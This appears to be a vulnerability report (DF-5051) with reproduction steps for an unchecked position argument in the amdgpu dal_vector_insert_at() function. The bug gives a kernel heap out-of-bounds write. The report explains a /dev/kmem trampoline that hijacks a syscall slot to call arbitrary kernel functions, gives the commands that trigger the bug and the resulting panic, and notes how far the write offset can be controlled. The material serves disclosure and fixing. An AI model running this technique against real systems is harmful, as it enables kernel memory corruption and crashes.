# DF-5051 — dal_vector_insert_at() unchecked `position` → kernel heap OOB write (runtime-demonstrated)

`sys/dev/drm/amd/display/dc/basics/vector.c:204-234` (AMD DC "dal_vector" dynamic array,
compiled into `amdgpu.ko`; vendored from Linux amdgpu).

## Build / Run / Expected

This PoC does not build a kernel module (freshly-linked kmods cannot load on this
guest snapshot — see VERDICT.md). It uses a **root-owned /dev/kmem call facility**
(`kv.c`) that:

1. writes a 49-byte hand-assembled trampoline into the dead body of `sys_sbrk`
   (cave at `0xffffffff809bda90`, this kernel build),
2. re-points `sysent[534]` (obsolete/unassigned `vmm_guest_ctl` slot, nosys) at it,
   with a magic guard (`0x5151c0de5151c0de` in argp[2]) rejecting stray callers,
3. issues a **direct** `syscall` (rax=534) so libc's indirect `SYS_syscall`
   wrapper cannot truncate the 64-bit return value,
4. lets userland call any kernel address with up to 6 register args; the
   trampoline stores the callee's rax into `sysmsg->sm_result` (offset 0),
5. restores the original sysent entry **and** the cave bytes after each call.

```sh
# guest (root), one boot:
cc -O2 -o /root/kv kv.c
kldload amdgpu                     # module base from: kldstat | grep amdgpu
# dal_vector_create   = base + 0x11d070
# dal_vector_destruct = base + 0x11d120
# dal_vector_insert_at= base + 0x11d2b0
V=$(/root/kv call <base+11d070> 0 4 10)      # create(NULL, cap=4, size=16)
KV_BCOPY=<bcopy addr> /root/kv kread $V 32   # {container,16,count,cap=4,ctx}
/root/kv call <base+11d2b0> $V <kernel string addr> 0C000000   # THE BUG
# EXPECTED: kernel panic — "Fatal trap 12 ... supervisor write data, page not
# present ... Stopped at memmove+0x76: movq %rdx,(%rdi)" with the faulting
# address exactly container+0xC0000000 (= 16 * 0x0C000000).
```

`run-baseline.sh` is the exact script used; `panic-baseline-oobwrite.log` is the
captured serial-console panic.

## Result

REPRODUCED (panic). Faulting address `0xfffff8014db44340` = container
(`0xfffff8018db44340`) + `16 * 0x0C000000`; fault class **supervisor WRITE**;
stopped instruction `memmove+0x76 movq %rdx,(%rdi)` — i.e. the write memmove of
`dal_vector_insert_at` (vector.c:226-229) writing `struct_size` bytes at
`container + struct_size*position` with a fully caller-chosen `position`.

Offset control: any 32-bit position → any 16-byte-aligned offset up to 64 GB
(modulo the 32-bit `struct_size * position` wrap, which itself redirects the
write back near the buffer). See VERDICT.md for the primitive characterization.
